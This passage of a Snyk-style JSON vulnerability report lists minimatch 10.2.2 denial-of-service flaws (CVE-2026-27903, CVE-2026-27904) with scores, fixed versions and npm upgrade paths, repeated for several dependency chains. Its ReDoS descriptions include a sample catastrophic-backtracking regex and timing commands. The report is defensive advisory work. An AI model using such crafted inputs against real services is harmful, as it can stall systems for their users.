"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 